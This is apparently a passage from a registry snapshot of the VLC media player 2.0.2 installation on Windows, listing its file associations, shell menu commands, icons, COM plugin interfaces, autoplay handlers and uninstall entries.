"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP2" = ""

[HKCR\VLC.mp4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"InstallLocation" = "%Program Files% (x86)\VideoLAN\VLC"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".PLS" = "VLC.pls"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MOD" = ""

[HKCR\.ape]
"(Default)" = "VLC.ape"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mov" = ""

[HKCR\VLC.tta]
"(Default)" = "VLC media file (.tta)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".amv" = "VLC.amv"
".amr" = "VLC.amr"

[HKCR\VLC.tts\shell]
"(Default)" = "Open"

[HKCR\VLC.aif\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XM" = "VLC.xm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3g2" = ""

[HKCR\.oma]
"(Default)" = "VLC.oma"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".xa" = "VLC.xa"

[HKCR\VLC.gxf\shell]
"(Default)" = "Open"

[HKCR\VLC.gxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rmvb" = "VLC.rmvb"

[HKCR\VLC.adt\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nuv" = ""

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.a52\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg\shell]
"(Default)" = "Open"

[HKCR\VLC.tod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.divx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vro]
"(Default)" = "VLC.vro"

[HKCR\VLC.mpeg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XM" = ""
".xa" = ""

[HKCR\VLC.m4p\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Language" = "1033"

[HKCR\.avi]
"(Default)" = "VLC.avi"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationDescription" = "VLC - The video swiss knife"

[HKCR\VLC.mp4v]
"(Default)" = "VLC media file (.mp4v)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMajor" = "2"

[HKCR\.nsv]
"(Default)" = "VLC.nsv"

[HKCR\VLC.mts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.flac]
"(Default)" = "VLC media file (.flac)"

[HKCR\VLC.mka\shell]
"(Default)" = "Open"

[HKCR\VLC.oga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.xspf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vlc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.xa]
"(Default)" = "VLC.xa"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg4" = "VLC.mpeg4"
".mpeg2" = "VLC.mpeg2"
".mpeg1" = "VLC.mpeg1"

[HKCR\VLC.a52\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.snd]
"(Default)" = "VLC.snd"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.mp4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rmi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.tta]
"(Default)" = "VLC.tta"

[HKCR\VLC.vlc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.pls\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wma\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.avi\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nsv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv]
"(Default)" = "VLC media file (.flv)"

[HKCR\VLC.ac3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp1\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.mp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.s3m\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeVerb" = "Open"

[HKCR\VLC.aifc\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.amr\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.b4s\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mid\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayName" = "VLC media player 2.0.2"

[HKCR\VLC.mp4]
"(Default)" = "VLC media file (.mp4)"

[HKCR\VLC.dts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aif\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2t" = ""
".m2v" = ""

[HKCR\VLC.pls\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aob\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpe\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpa\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.tod\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga]
"(Default)" = "VLC media file (.oga)"

[HKCR\VLC.mp2v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dv]
"(Default)" = "VLC media file (.dv)"

[HKCR\VLC.mpa\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3gp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\AudioCD\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayCDAudioOnArrival]
"VLCPlayCDAudioOnArrival" = ""

[HKCR\VLC.cue\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpe\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Directory\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.amv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMinor" = "0"

[HKCR\VLC.wmv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.rmvb\shell]
"(Default)" = "Open"

[HKCR\VLC.vob]
"(Default)" = "VLC media file (.vob)"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp2v" = ""

[HKCR\VLC.webm]
"(Default)" = "VLC media file (.webm)"

[HKCR\.ogx]
"(Default)" = "VLC.ogx"

[HKCR\VLC.au\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m2v\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mpeg1" = ""
".IT" = ""
".mpeg2" = ""
".mpeg4" = ""

[HKCR\VLC.wav\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mtv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv\shell]
"(Default)" = "Open"

[HKCR\VLC.w64\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mlp" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"InvokeProgID" = "VLC.VCDMovie"

[HKCR\VLC.m4p\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ape\shell]
"(Default)" = "Open"

[HKCR\VLC.it\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3gpp\shell\Open]
"(Default)" = "Play"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.spx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.3gpp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".a52" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"IconsVisible" = "1"

[HKCR\VLC.3gp2]
"(Default)" = "VLC media file (.3gp2)"

[HKCR\VLC.ogg]
"(Default)" = "VLC media file (.ogg)"

[HKCR\Wow6432Node\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.tod\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.oga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.au\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.w64\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WV" = ""

[HKCR\.gxf]
"(Default)" = "VLC.gxf"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".nuv" = "VLC.nuv"

[HKCR\VLC.mp2v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.mka]
"(Default)" = "VLC.mka"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\Version]
"(Default)" = "1.0"

[HKCR\VideoLAN.VLCPlugin.2\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.aob\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mov\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U" = ""

[HKCR\VLC.mp4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mkv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpe\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ifo" = ""

[HKCR\VLC.mxf\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.ogm]
"(Default)" = "VLC media file (.ogm)"

[HKCR\VideoLAN.VLCPlugin\CLSID]
"(Default)" = "{9BE31822-FDAD-461B-AD51-BE1D1C159921}"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3gpp]
"(Default)" = "VLC.3gpp"

[HKCR\VLC.cda]
"(Default)" = "VLC media file (.cda)"

[HKCR\VLC.mkv\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpe" = "VLC.mpe"
".mpg" = "VLC.mpg"
".mpa" = "VLC.mpa"
".MPC" = "VLC.mpc"
".sdp" = "VLC.sdp"

[HKCR\VLC.m2t\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}]
"(Default)" = "VLC ActiveX Plugin and IE Web Plugin v2"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}]
"(Default)" = "IVLCSubtitle"

[HKCR\VLC.mka\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp4" = "VLC.mp4"

[HKCR\VLC.aif\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MP1" = "VLC.mp1"
".MP3" = "VLC.mp3"
".MP2" = "VLC.mp2"

[HKCR\VLC.mpeg1\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m1v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mp2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mka\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".S3M" = ""

[HKCR\VLC.b4s\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.spx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adts\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open]
"(Default)" = "Play"

[HKCR\.f4v]
"(Default)" = "VLC.f4v"

[HKCR\VLC.ifo\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogx\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg4\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpeg4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".asx" = ""
".asf" = ""

[HKCR\VLC.mp4\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.nsv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m3u8\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}]
"(Default)" = "IVLCMediaDescription"

[HKCR\VLC.ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VideoLAN.VLCPlugin\CurVer]
"(Default)" = "VideoLAN.VLCPlugin.2"

[HKCR\VLC.aob\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder]
"(Default)" = "VLC Play content"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aob" = "VLC.aob"

[HKCR\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}]
"(Default)" = "IVLCControl"

[HKCR\VLC.mpeg2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpa\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mlp" = "VLC.mlp"

[HKCR\VLC.rmvb\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amr" = ""

[HKCR\VLC.m4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.OPENFolder\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe %1"

[HKCR\VLC.aifc\shell]
"(Default)" = "Open"

[HKCR\VLC.wmv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Wow6432Node\CLSID\{9BE31822-FDAD-461B-AD51-BE1D1C159921}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".CUE" = ""

[HKCR\VLC.wma\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mlp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xa\shell]
"(Default)" = "Open"

[HKCR\VLC.mpc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.caf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.nuv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3ga" = ""

[HKCR\DVD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m2v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3gp" = ""

[HKCR\VLC.xm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell]
"(Default)" = "Open"

[HKCR\VLC.DVDMovie\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"UninstallString" = "%Program Files% (x86)\VideoLAN\VLC\uninstall.exe"

[HKCR\VLC.mpeg2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mpeg2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.caf\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ram" = ""

[HKCR\VLC.snd\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}]
"(Default)" = "IVLCAudio"

[HKCR\.mp1]
"(Default)" = "VLC.mp1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".M3U8" = "VLC.m3u8"

[HKCR\VLC.wmv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m4a\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.voc]
"(Default)" = "VLC.voc"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp4\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ifo\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDMovieOnArrival]
"InvokeVerb" = "Open"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}]
"(Default)" = "IVLCPlaylistItems"

[HKCR\VLC.nuv\shell\Open]
"(Default)" = "Play"

[HKCR\.m3u]
"(Default)" = "VLC.m3u"

[HKCR\VLC.mp3]
"(Default)" = "VLC media file (.mp3)"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ToolboxBitmap32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll,1"

[HKCR\VLC.vlc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

